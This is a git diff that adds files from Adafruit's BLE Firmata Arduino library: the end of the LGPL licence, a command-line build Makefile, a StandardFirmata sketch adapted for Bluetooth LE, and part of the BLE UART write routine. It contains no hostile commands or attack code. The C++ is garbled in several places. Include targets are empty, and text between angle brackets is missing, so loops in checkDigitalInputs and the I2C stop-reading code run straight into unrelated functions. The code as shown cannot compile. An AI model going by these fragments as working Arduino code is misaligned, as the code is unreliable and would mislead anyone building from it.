to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/Makefile b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/Makefile new file mode 100755 index 0000000..835187a --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/Makefile @@ -0,0 +1,273 @@ +# Arduino makefile +# +# This makefile allows you to build sketches from the command line +# without the Arduino environment (or Java). +# +# The Arduino environment does preliminary processing on a sketch before +# compiling it. If you're using this makefile instead, you'll need to do +# a few things differently: +# +# - Give your program's file a .cpp extension (e.g. foo.cpp). +# +# - Put this line at top of your code: #include +# +# - Write prototypes for all your functions (or define them before you +# call them). A prototype declares the types of parameters a +# function will take and what type of value it will return. This +# means that you can have a call to a function before the definition +# of the function. A function prototype looks like the first line of +# the function, with a semi-colon at the end. For example: +# int digitalRead(int pin); +# +# Instructions for using the makefile: +# +# 1. Copy this file into the folder with your sketch. +# +# 2. Below, modify the line containing "TARGET" to refer to the name of +# of your program's file without an extension (e.g. TARGET = foo). +# +# 3. Modify the line containg "ARDUINO" to point the directory that +# contains the Arduino core (for normal Arduino installations, this +# is the hardware/cores/arduino sub-directory). +# +# 4. Modify the line containing "PORT" to refer to the filename +# representing the USB or serial connection to your Arduino board +# (e.g. PORT = /dev/tty.USB0). If the exact name of this file +# changes, you can use * as a wildcard (e.g. PORT = /dev/tty.USB*). +# +# 5. At the command line, change to the directory containing your +# program's file and the makefile. +# +# 6. Type "make" and press enter to compile/verify your program. +# +# 7. Type "make upload", reset your Arduino board, and press enter to +# upload your program to the Arduino board. +# +# $Id: Makefile,v 1.7 2007/04/13 05:28:23 eighthave Exp $ + +PORT = /dev/tty.usbserial-* +TARGET := $(shell pwd | sed 's|.*/\(.*\)|\1|') +ARDUINO = /Applications/arduino +ARDUINO_SRC = $(ARDUINO)/hardware/cores/arduino +ARDUINO_LIB_SRC = $(ARDUINO)/hardware/libraries +ARDUINO_TOOLS = $(ARDUINO)/hardware/tools +INCLUDE = -I$(ARDUINO_SRC) -I$(ARDUINO)/hardware/tools/avr/avr/include \ + -I$(ARDUINO_LIB_SRC)/EEPROM \ + -I$(ARDUINO_LIB_SRC)/Firmata \ + -I$(ARDUINO_LIB_SRC)/Matrix \ + -I$(ARDUINO_LIB_SRC)/Servo \ + -I$(ARDUINO_LIB_SRC)/Wire \ + -I$(ARDUINO_LIB_SRC) +SRC = $(wildcard $(ARDUINO_SRC)/*.c) +CXXSRC = applet/$(TARGET).cpp $(ARDUINO_SRC)/HardwareSerial.cpp \ + $(ARDUINO_LIB_SRC)/EEPROM/EEPROM.cpp \ + $(ARDUINO_LIB_SRC)/Firmata/Firmata.cpp \ + $(ARDUINO_LIB_SRC)/Servo/Servo.cpp \ + $(ARDUINO_SRC)/Print.cpp \ + $(ARDUINO_SRC)/WMath.cpp +HEADERS = $(wildcard $(ARDUINO_SRC)/*.h) $(wildcard $(ARDUINO_LIB_SRC)/*/*.h) + +MCU = atmega168 +#MCU = atmega8 +F_CPU = 16000000 +FORMAT = ihex +UPLOAD_RATE = 19200 + +# Name of this Makefile (used for "make depend"). +MAKEFILE = Makefile + +# Debugging format. +# Native formats for AVR-GCC's -g are stabs [default], or dwarf-2. +# AVR (extended) COFF requires stabs, plus an avr-objcopy run. +DEBUG = stabs + +OPT = s + +# Place -D or -U options here +CDEFS = -DF_CPU=$(F_CPU) +CXXDEFS = -DF_CPU=$(F_CPU) + +# Compiler flag to set the C Standard level. +# c89 - "ANSI" C +# gnu89 - c89 plus GCC extensions +# c99 - ISO C99 standard (not yet fully implemented) +# gnu99 - c99 plus GCC extensions +CSTANDARD = -std=gnu99 +CDEBUG = -g$(DEBUG) +CWARN = -Wall -Wstrict-prototypes +CTUNING = -funsigned-char -funsigned-bitfields -fpack-struct -fshort-enums +#CEXTRA = -Wa,-adhlns=$(<:.c=.lst) + +CFLAGS = $(CDEBUG) $(CDEFS) $(INCLUDE) -O$(OPT) $(CWARN) $(CSTANDARD) $(CEXTRA) +CXXFLAGS = $(CDEFS) $(INCLUDE) -O$(OPT) +#ASFLAGS = -Wa,-adhlns=$(<:.S=.lst),-gstabs +LDFLAGS = + + +# Programming support using avrdude. Settings and variables. +AVRDUDE_PROGRAMMER = stk500 +AVRDUDE_PORT = $(PORT) +AVRDUDE_WRITE_FLASH = -U flash:w:applet/$(TARGET).hex +AVRDUDE_FLAGS = -F -p $(MCU) -P $(AVRDUDE_PORT) -c $(AVRDUDE_PROGRAMMER) \ + -b $(UPLOAD_RATE) -q -V + +# Program settings +ARDUINO_AVR_BIN = $(ARDUINO_TOOLS)/avr/bin +CC = $(ARDUINO_AVR_BIN)/avr-gcc +CXX = $(ARDUINO_AVR_BIN)/avr-g++ +OBJCOPY = $(ARDUINO_AVR_BIN)/avr-objcopy +OBJDUMP = $(ARDUINO_AVR_BIN)/avr-objdump +SIZE = $(ARDUINO_AVR_BIN)/avr-size +NM = $(ARDUINO_AVR_BIN)/avr-nm +#AVRDUDE = $(ARDUINO_AVR_BIN)/avrdude +AVRDUDE = avrdude +REMOVE = rm -f +MV = mv -f + +# Define all object files. +OBJ = $(SRC:.c=.o) $(CXXSRC:.cpp=.o) $(ASRC:.S=.o) + +# Define all listing files. +LST = $(ASRC:.S=.lst) $(CXXSRC:.cpp=.lst) $(SRC:.c=.lst) + +# Combine all necessary flags and optional flags. +# Add target processor to flags. +ALL_CFLAGS = -mmcu=$(MCU) -I. $(CFLAGS) +ALL_CXXFLAGS = -mmcu=$(MCU) -I. $(CXXFLAGS) +ALL_ASFLAGS = -mmcu=$(MCU) -I. -x assembler-with-cpp $(ASFLAGS) + + +# Default target. +all: build + +build: applet/$(TARGET).hex + +eep: applet/$(TARGET).eep +lss: applet/$(TARGET).lss +sym: applet/$(TARGET).sym + + +# Convert ELF to COFF for use in debugging / simulating in AVR Studio or VMLAB. +COFFCONVERT=$(OBJCOPY) --debugging \ +--change-section-address .data-0x800000 \ +--change-section-address .bss-0x800000 \ +--change-section-address .noinit-0x800000 \ +--change-section-address .eeprom-0x810000 + + +coff: applet/$(TARGET).elf + $(COFFCONVERT) -O coff-avr applet/$(TARGET).elf applet/$(TARGET).cof + + +extcoff: applet/$(TARGET).elf + $(COFFCONVERT) -O coff-ext-avr applet/$(TARGET).elf applet/$(TARGET).cof + + +.SUFFIXES: .elf .hex .eep .lss .sym .pde + +.elf.hex: + $(OBJCOPY) -O $(FORMAT) -R .eeprom $< $@ + +.elf.eep: + -$(OBJCOPY) -j .eeprom --set-section-flags=.eeprom="alloc,load" \ + --change-section-lma .eeprom=0 -O $(FORMAT) $< $@ + +# Create extended listing file from ELF output file. +.elf.lss: + $(OBJDUMP) -h -S $< > $@ + +# Create a symbol table from ELF output file. +.elf.sym: + $(NM) -n $< > $@ + + +# Compile: create object files from C++ source files. +.cpp.o: $(HEADERS) + $(CXX) -c $(ALL_CXXFLAGS) $< -o $@ + +# Compile: create object files from C source files. +.c.o: $(HEADERS) + $(CC) -c $(ALL_CFLAGS) $< -o $@ + + +# Compile: create assembler files from C source files. +.c.s: + $(CC) -S $(ALL_CFLAGS) $< -o $@ + + +# Assemble: create object files from assembler source files. +.S.o: + $(CC) -c $(ALL_ASFLAGS) $< -o $@ + + + +applet/$(TARGET).cpp: $(TARGET).pde + test -d applet || mkdir applet + echo '#include "WProgram.h"' > applet/$(TARGET).cpp + echo '#include "avr/interrupt.h"' >> applet/$(TARGET).cpp + sed -n 's|^\(void .*)\).*|\1;|p' $(TARGET).pde | grep -v 'setup()' | \ + grep -v 'loop()' >> applet/$(TARGET).cpp + cat $(TARGET).pde >> applet/$(TARGET).cpp + cat $(ARDUINO_SRC)/main.cxx >> applet/$(TARGET).cpp + +# Link: create ELF output file from object files. +applet/$(TARGET).elf: applet/$(TARGET).cpp $(OBJ) + $(CC) $(ALL_CFLAGS) $(OBJ) -lm --output $@ $(LDFLAGS) +# $(CC) $(ALL_CFLAGS) $(OBJ) $(ARDUINO_TOOLS)/avr/avr/lib/avr5/crtm168.o --output $@ $(LDFLAGS) + +pd_close_serial: + echo 'close;' | /Applications/Pd-extended.app/Contents/Resources/bin/pdsend 34567 || true + +# Program the device. +upload: applet/$(TARGET).hex + $(AVRDUDE) $(AVRDUDE_FLAGS) $(AVRDUDE_WRITE_FLASH) + + +pd_test: build pd_close_serial upload + +# Target: clean project. +clean: + $(REMOVE) -- applet/$(TARGET).hex applet/$(TARGET).eep \ + applet/$(TARGET).cof applet/$(TARGET).elf $(TARGET).map \ + applet/$(TARGET).sym applet/$(TARGET).lss applet/$(TARGET).cpp \ + $(OBJ) $(LST) $(SRC:.c=.s) $(SRC:.c=.d) $(CXXSRC:.cpp=.s) $(CXXSRC:.cpp=.d) + rmdir -- applet + +depend: + if grep '^# DO NOT DELETE' $(MAKEFILE) >/dev/null; \ + then \ + sed -e '/^# DO NOT DELETE/,$$d' $(MAKEFILE) > \ + $(MAKEFILE).$$$$ && \ + $(MV) $(MAKEFILE).$$$$ $(MAKEFILE); \ + fi + echo '# DO NOT DELETE THIS LINE -- make depend depends on it.' \ + >> $(MAKEFILE); \ + $(CC) -M -mmcu=$(MCU) $(CDEFS) $(INCLUDE) $(SRC) $(ASRC) >> $(MAKEFILE) + +.PHONY: all build eep lss sym coff extcoff clean depend pd_close_serial pd_test + +# for emacs +etags: + make etags_`uname -s` + etags *.pde \ + $(ARDUINO_SRC)/*.[ch] \ + $(ARDUINO_SRC)/*.cpp \ + $(ARDUINO_LIB_SRC)/*/*.[ch] \ + $(ARDUINO_LIB_SRC)/*/*.cpp \ + $(ARDUINO)/hardware/tools/avr/avr/include/avr/*.[ch] \ + $(ARDUINO)/hardware/tools/avr/avr/include/*.[ch] + +etags_Darwin: +# etags -a + +etags_Linux: +# etags -a /usr/include/*.h linux/input.h /usr/include/sys/*.h + +etags_MINGW: +# etags -a /usr/include/*.h /usr/include/sys/*.h + + +path: + echo $(PATH) + echo $$PATH + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino new file mode 100755 index 0000000..36c64df --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino @@ -0,0 +1,738 @@ +/* + * Firmata is a generic protocol for communicating with microcontrollers + * from software on a host computer. It is intended to work with + * any host computer software package. + * + * This version is modified to specifically work with Adafruit's BLE + * library. It no longer works over the standard "USB" connection! + */ + +/* + Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved. + Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved. + Copyright (C) 2009 Shigeru Kobayashi. All rights reserved. + Copyright (C) 2009-2011 Jeff Hoefs. All rights reserved. + Copyright (C) 2014 Limor Fried/Kevin Townsend All rights reserved. + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + See file LICENSE.txt for further informations on licensing terms. + + formatted using the GNU C formatting and indenting +*/ + +/* + * TODO: use Program Control to load stored profiles from EEPROM + */ + +#include +#include +#include +#include +#include "Adafruit_BLE_UART.h" + +#define AUTO_INPUT_PULLUPS true + +// Connect CLK/MISO/MOSI to hardware SPI +// e.g. On UNO & compatible: CLK = 13, MISO = 12, MOSI = 11 +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 // This should be an interrupt pin, on Uno thats #2 or #3 +#define ADAFRUITBLE_RST 9 + +// so we have digital 3-8 and analog 0-6 + +Adafruit_BLE_UART BLEserial = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + + +// make one instance for the user to use +Adafruit_BLE_FirmataClass BLE_Firmata(BLEserial); + + +/*============================================================================== + * GLOBAL VARIABLES + *============================================================================*/ + +/* analog inputs */ +int analogInputsToReport = 0; // bitwise array to store pin reporting +int lastAnalogReads[NUM_ANALOG_INPUTS]; + +/* digital input ports */ +byte reportPINs[TOTAL_PORTS]; // 1 = report this port, 0 = silence +byte previousPINs[TOTAL_PORTS]; // previous 8 bits sent + +/* pins configuration */ +byte pinConfig[TOTAL_PINS]; // configuration of every pin +byte portConfigInputs[TOTAL_PORTS]; // each bit: 1 = pin in INPUT, 0 = anything else +int pinState[TOTAL_PINS]; // any value that has been written + +/* timer variables */ +unsigned long currentMillis; // store the current value from millis() +unsigned long previousMillis; // for comparison with currentMillis +int samplingInterval = 200; // how often to run the main loop (in ms) +#define MINIMUM_SAMPLE_DELAY 150 +#define ANALOG_SAMPLE_DELAY 50 + + +/* i2c data */ +struct i2c_device_info { + byte addr; + byte reg; + byte bytes; +}; + +/* for i2c read continuous more */ +i2c_device_info query[MAX_QUERIES]; + +byte i2cRxData[32]; +boolean isI2CEnabled = false; +signed char queryIndex = -1; +unsigned int i2cReadDelayTime = 0; // default delay time between i2c read request and Wire.requestFrom() + +Servo servos[MAX_SERVOS]; +/*============================================================================== + * FUNCTIONS + *============================================================================*/ + +void readAndReportData(byte address, int theRegister, byte numBytes) { + // allow I2C requests that don't require a register read + // for example, some devices using an interrupt pin to signify new data available + // do not always require the register read so upon interrupt you call Wire.requestFrom() + if (theRegister != REGISTER_NOT_SPECIFIED) { + Wire.beginTransmission(address); + #if ARDUINO >= 100 + Wire.write((byte)theRegister); + #else + Wire.send((byte)theRegister); + #endif + Wire.endTransmission(); + delayMicroseconds(i2cReadDelayTime); // delay is necessary for some devices such as WiiNunchuck + } else { + theRegister = 0; // fill the register with a dummy value + } + + Wire.requestFrom(address, numBytes); // all bytes are returned in requestFrom + + // check to be sure correct number of bytes were returned by slave + if(numBytes == Wire.available()) { + i2cRxData[0] = address; + i2cRxData[1] = theRegister; + for (int i = 0; i < numBytes; i++) { + #if ARDUINO >= 100 + i2cRxData[2 + i] = Wire.read(); + #else + i2cRxData[2 + i] = Wire.receive(); + #endif + } + } + else { + if(numBytes > Wire.available()) { + BLE_Firmata.sendString("I2C Read Error: Too many bytes received"); + } else { + BLE_Firmata.sendString("I2C Read Error: Too few bytes received"); + } + } + + // send slave address, register and received bytes + BLE_Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData); +} + +void outputPort(byte portNumber, byte portValue, byte forceSend) +{ + // pins not configured as INPUT are cleared to zeros + portValue = portValue & portConfigInputs[portNumber]; + // only send if the value is different than previously sent + if(forceSend || previousPINs[portNumber] != portValue) { + Serial.print(F("Sending update for port ")); Serial.print(portNumber); Serial.print(" = 0x"); Serial.println(portValue, HEX); + BLE_Firmata.sendDigitalPort(portNumber, portValue); + previousPINs[portNumber] = portValue; + } +} + +/* ----------------------------------------------------------------------------- + * check all the active digital inputs for change of state, then add any events + * to the Serial output queue using Serial.print() */ +void checkDigitalInputs(boolean forceSend = false) +{ + /* Using non-looping code allows constants to be given to readPort(). + * The compiler will apply substantial optimizations if the inputs + * to readPort() are compile-time constants. */ + for (uint8_t i=0; i TOTAL_PINS) lastPin = TOTAL_PINS; + for (pin=port*8; pin < lastPin; pin++) { + // do not disturb non-digital pins (eg, Rx & Tx) + if (IS_PIN_DIGITAL(pin)) { + // only write to OUTPUT and INPUT (enables pullup) + // do not touch pins in PWM, ANALOG, SERVO or other modes + if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) { + pinWriteMask |= mask; + pinState[pin] = ((byte)value & mask) ? 1 : 0; + + if (AUTO_INPUT_PULLUPS && ( pinConfig[pin] == INPUT)) { + value |= mask; + } + } + } + mask = mask << 1; + } + Serial.print(F("Write digital port #")); Serial.print(port); + Serial.print(F(" = 0x")); Serial.print(value, HEX); + Serial.print(F(" mask = 0x")); Serial.println(pinWriteMask, HEX); + writePort(port, (byte)value, pinWriteMask); + } +} + + +// ----------------------------------------------------------------------------- +/* sets bits in a bit array (int) to toggle the reporting of the analogIns + */ +//void FirmataClass::setAnalogPinReporting(byte pin, byte state) { +//} +void reportAnalogCallback(byte analogPin, int value) +{ + if (analogPin < TOTAL_ANALOG_PINS) { + if(value == 0) { + analogInputsToReport = analogInputsToReport &~ (1 << analogPin); + Serial.print(F("Stop reporting analog pin #")); Serial.println(analogPin); + } else { + analogInputsToReport |= (1 << analogPin); + Serial.print(F("Will report analog pin #")); Serial.println(analogPin); + } + } + // TODO: save status to EEPROM here, if changed +} + +void reportDigitalCallback(byte port, int value) +{ + if (port < TOTAL_PORTS) { + Serial.print(F("Will report 0x")); Serial.print(value, HEX); Serial.print(F(" digital mask on port ")); Serial.println(port); + reportPINs[port] = (byte)value; + } + // do not disable analog reporting on these 8 pins, to allow some + // pins used for digital, others analog. Instead, allow both types + // of reporting to be enabled, but check if the pin is configured + // as analog when sampling the analog inputs. Likewise, while + // scanning digital pins, portConfigInputs will mask off values from any + // pins configured as analog +} + +/*============================================================================== + * SYSEX-BASED commands + *============================================================================*/ + +void sysexCallback(byte command, byte argc, byte *argv) +{ + byte mode; + byte slaveAddress; + byte slaveRegister; + byte data; + unsigned int delayTime; + + switch(command) { + case I2C_REQUEST: + mode = argv[1] & I2C_READ_WRITE_MODE_MASK; + if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) { + //BLE_Firmata.sendString("10-bit addressing mode is not yet supported"); + Serial.println(F("10-bit addressing mode is not yet supported")); + return; + } + else { + slaveAddress = argv[0]; + } + + switch(mode) { + case I2C_WRITE: + Wire.beginTransmission(slaveAddress); + for (byte i = 2; i < argc; i += 2) { + data = argv[i] + (argv[i + 1] << 7); + #if ARDUINO >= 100 + Wire.write(data); + #else + Wire.send(data); + #endif + } + Wire.endTransmission(); + delayMicroseconds(70); + break; + case I2C_READ: + if (argc == 6) { + // a slave register is specified + slaveRegister = argv[2] + (argv[3] << 7); + data = argv[4] + (argv[5] << 7); // bytes to read + readAndReportData(slaveAddress, (int)slaveRegister, data); + } + else { + // a slave register is NOT specified + data = argv[2] + (argv[3] << 7); // bytes to read + readAndReportData(slaveAddress, (int)REGISTER_NOT_SPECIFIED, data); + } + break; + case I2C_READ_CONTINUOUSLY: + if ((queryIndex + 1) >= MAX_QUERIES) { + // too many queries, just ignore + BLE_Firmata.sendString("too many queries"); + break; + } + queryIndex++; + query[queryIndex].addr = slaveAddress; + query[queryIndex].reg = argv[2] + (argv[3] << 7); + query[queryIndex].bytes = argv[4] + (argv[5] << 7); + break; + case I2C_STOP_READING: + byte queryIndexToSkip; + // if read continuous mode is enabled for only 1 i2c device, disable + // read continuous reporting for that device + if (queryIndex <= 0) { + queryIndex = -1; + } else { + // if read continuous mode is enabled for multiple devices, + // determine which device to stop reading and remove it's data from + // the array, shifiting other array data to fill the space + for (byte i = 0; i < queryIndex + 1; i++) { + if (query[i].addr = slaveAddress) { + queryIndexToSkip = i; + break; + } + } + + for (byte i = queryIndexToSkip; i 0) { + i2cReadDelayTime = delayTime; + } + + if (!isI2CEnabled) { + enableI2CPins(); + } + + break; + case SERVO_CONFIG: + if(argc > 4) { + // these vars are here for clarity, they'll optimized away by the compiler + byte pin = argv[0]; + int minPulse = argv[1] + (argv[2] << 7); + int maxPulse = argv[3] + (argv[4] << 7); + + if (IS_PIN_SERVO(pin)) { + if (servos[PIN_TO_SERVO(pin)].attached()) + servos[PIN_TO_SERVO(pin)].detach(); + servos[PIN_TO_SERVO(pin)].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse); + setPinModeCallback(pin, SERVO); + } + } + break; + case SAMPLING_INTERVAL: + if (argc > 1) { + samplingInterval = argv[0] + (argv[1] << 7); + if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) { + samplingInterval = MINIMUM_SAMPLING_INTERVAL; + } + } else { + //BLE_Firmata.sendString("Not enough data"); + } + break; + case EXTENDED_ANALOG: + if (argc > 1) { + int val = argv[1]; + if (argc > 2) val |= (argv[2] << 7); + if (argc > 3) val |= (argv[3] << 14); + analogWriteCallback(argv[0], val); + } + break; + case CAPABILITY_QUERY: + Serial.write(START_SYSEX); + Serial.write(CAPABILITY_RESPONSE); + for (byte pin=0; pin < TOTAL_PINS; pin++) { + if (IS_PIN_DIGITAL(pin)) { + Serial.write((byte)INPUT); + Serial.write(1); + Serial.write((byte)OUTPUT); + Serial.write(1); + } + if (IS_PIN_ANALOG(pin)) { + Serial.write(ANALOG); + Serial.write(10); + } + if (IS_PIN_PWM(pin)) { + Serial.write(PWM); + Serial.write(8); + } + if (IS_PIN_SERVO(pin)) { + Serial.write(SERVO); + Serial.write(14); + } + if (IS_PIN_I2C(pin)) { + Serial.write(I2C); + Serial.write(1); // to do: determine appropriate value + } + Serial.write(127); + } + Serial.write(END_SYSEX); + break; + case PIN_STATE_QUERY: + if (argc > 0) { + byte pin=argv[0]; + Serial.write(START_SYSEX); + Serial.write(PIN_STATE_RESPONSE); + Serial.write(pin); + if (pin < TOTAL_PINS) { + Serial.write((byte)pinConfig[pin]); + Serial.write((byte)pinState[pin] & 0x7F); + if (pinState[pin] & 0xFF80) Serial.write((byte)(pinState[pin] >> 7) & 0x7F); + if (pinState[pin] & 0xC000) Serial.write((byte)(pinState[pin] >> 14) & 0x7F); + } + Serial.write(END_SYSEX); + } + break; + case ANALOG_MAPPING_QUERY: + Serial.write(START_SYSEX); + Serial.write(ANALOG_MAPPING_RESPONSE); + for (byte pin=0; pin < TOTAL_PINS; pin++) { + Serial.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127); + } + Serial.write(END_SYSEX); + break; + } +} + +void enableI2CPins() +{ + byte i; + // is there a faster way to do this? would probaby require importing + // Arduino.h to get SCL and SDA pins + for (i=0; i < TOTAL_PINS; i++) { + if(IS_PIN_I2C(i)) { + // mark pins as i2c so they are ignore in non i2c data requests + setPinModeCallback(i, I2C); + } + } + + isI2CEnabled = true; + + // is there enough time before the first I2C request to call this here? + Wire.begin(); +} + +/* disable the i2c pins so they can be used for other functions */ +void disableI2CPins() { + isI2CEnabled = false; + // disable read continuous mode for all devices + queryIndex = -1; + // uncomment the following if or when the end() method is added to Wire library + // Wire.end(); +} + +/*============================================================================== + * SETUP() + *============================================================================*/ + +void systemResetCallback() +{ + // initialize a defalt state + Serial.println(F("***RESET***")); + // TODO: option to load config from EEPROM instead of default + if (isI2CEnabled) { + disableI2CPins(); + } + for (byte i=0; i < TOTAL_PORTS; i++) { + reportPINs[i] = false; // by default, reporting off + portConfigInputs[i] = 0; // until activated + previousPINs[i] = 0; + } + // pins with analog capability default to analog input + // otherwise, pins default to digital output + for (byte i=0; i < TOTAL_PINS; i++) { + if (IS_PIN_ANALOG(i)) { + // turns off pullup, configures everything + setPinModeCallback(i, ANALOG); + } else { + // sets the output to 0, configures portConfigInputs + setPinModeCallback(i, INPUT); + } + } + // by default, do not report any analog inputs + analogInputsToReport = 0; + + /* send digital inputs to set the initial state on the host computer, + * since once in the loop(), this firmware will only send on change */ + /* + TODO: this can never execute, since no pins default to digital input + but it will be needed when/if we support EEPROM stored config + for (byte i=0; i < TOTAL_PORTS; i++) { + outputPort(i, readPort(i, portConfigInputs[i]), true); + } + */ +} + + +aci_evt_opcode_t lastBTLEstatus, BTLEstatus; + +void setup() +{ + Serial.begin(9600); + Serial.println(F("Adafruit BTLE Firmata test")); + + BLEserial.begin(); + + BTLEstatus = lastBTLEstatus = ACI_EVT_DISCONNECTED; +} + +void firmataInit() { + Serial.println(F("Init firmata")); + //BLE_Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION); + //Serial.println(F("firmata analog")); + BLE_Firmata.attach(ANALOG_MESSAGE, analogWriteCallback); + //Serial.println(F("firmata digital")); + BLE_Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback); + //Serial.println(F("firmata analog report")); + BLE_Firmata.attach(REPORT_ANALOG, reportAnalogCallback); + //Serial.println(F("firmata digital report")); + BLE_Firmata.attach(REPORT_DIGITAL, reportDigitalCallback); + //Serial.println(F("firmata pinmode")); + BLE_Firmata.attach(SET_PIN_MODE, setPinModeCallback); + //Serial.println(F("firmata sysex")); + BLE_Firmata.attach(START_SYSEX, sysexCallback); + //Serial.println(F("firmata reset")); + BLE_Firmata.attach(SYSTEM_RESET, systemResetCallback); + + Serial.println(F("Begin firmata")); + BLE_Firmata.begin(); + systemResetCallback(); // reset to default config +} +/*============================================================================== + * LOOP() + *============================================================================*/ + +void loop() +{ + // Check the BTLE link, how're we doing? + BLEserial.pollACI(); + // Link status check + BTLEstatus = BLEserial.getState(); + + // Check if something has changed + if (BTLEstatus != lastBTLEstatus) { + // print it out! + if (BTLEstatus == ACI_EVT_DEVICE_STARTED) { + Serial.println(F("* Advertising started")); + } + if (BTLEstatus == ACI_EVT_CONNECTED) { + Serial.println(F("* Connected!")); + // initialize Firmata cleanly + firmataInit(); + } + if (BTLEstatus == ACI_EVT_DISCONNECTED) { + Serial.println(F("* Disconnected or advertising timed out")); + } + // OK set the last status change to this one + lastBTLEstatus = BTLEstatus; + } + + // if not connected... bail + if (BTLEstatus != ACI_EVT_CONNECTED) { + delay(100); + return; + } + + // For debugging, see if there's data on the serial console, we would forwad it to BTLE + if (Serial.available()) { + BLEserial.write(Serial.read()); + } + + // Onto the Firmata main loop + + byte pin, analogPin; + + /* DIGITALREAD - as fast as possible, check for changes and output them to the + * BTLE buffer using Serial.print() */ + checkDigitalInputs(); + + /* SERIALREAD - processing incoming messagse as soon as possible, while still + * checking digital inputs. */ + while(BLE_Firmata.available()) { + //Serial.println(F("*data available*")); + BLE_Firmata.processInput(); + } + /* SEND FTDI WRITE BUFFER - make sure that the FTDI buffer doesn't go over + * 60 bytes. use a timer to sending an event character every 4 ms to + * trigger the buffer to dump. */ + + // make the sampling interval longer if we have more analog inputs! + uint8_t analogreportnums = 0; + for(uint8_t a=0; a<8; a++) { + if (analogInputsToReport & (1 << a)) { + analogreportnums++; + } + } + + samplingInterval = (uint16_t)MINIMUM_SAMPLE_DELAY + (uint16_t)ANALOG_SAMPLE_DELAY * (1+analogreportnums); + + currentMillis = millis(); + if (currentMillis - previousMillis > samplingInterval) { + previousMillis += samplingInterval; + /* ANALOGREAD - do all analogReads() at the configured sampling interval */ + for(pin=0; pin= PRINT_BUFFER_SIZE) { + // Send buffer when it's full and reset buffer index. + written += write((uint8_t *)buffer, PRINT_BUFFER_SIZE); + i = 0; + } + // Grab a new byte from flash. + c = pgm_read_byte(p++); + } + if (i > 0) { + // Send any remaining data in the buffer. + written += write((uint8_t *)buffer, i); + } + return written; +} + +size_t Adafruit_BLE_UART::write(uint8_t * buffer, uint8_t len) +{ + uint8_t bytesThisPass, sent = 0; + +#ifdef BLE_RW_DEBUG + Serial.print(F("\tWriting out to BTLE:")); + for (uint8_t i=0; i ACI_PIPE_TX_DATA_MAX_LEN) + bytesThisPass = ACI_PIPE_TX_DATA_MAX_LEN; + + if(!lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX)) + { + pollACI(); + continue; + } + + lib_aci_send_data(PIPE_UART_OVER_BTLE_UART_TX_TX, &buffer[sent], + bytesThisPass); + aci_state.data_credit_available--; + + delay(35); // required delay between sends + + if(!(len -= bytesThisPass)) break; + sent += bytesThisPass; + } + + return sent; +} + +size_t Adafruit_BLE_UART::write(uint8_t buffer) +{ +#ifdef BLE_RW_DEBUG + Serial.print(F("\tWriting one byte 0x")); Serial.println(buffer, HEX); +#endif + if (lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX)) + { + 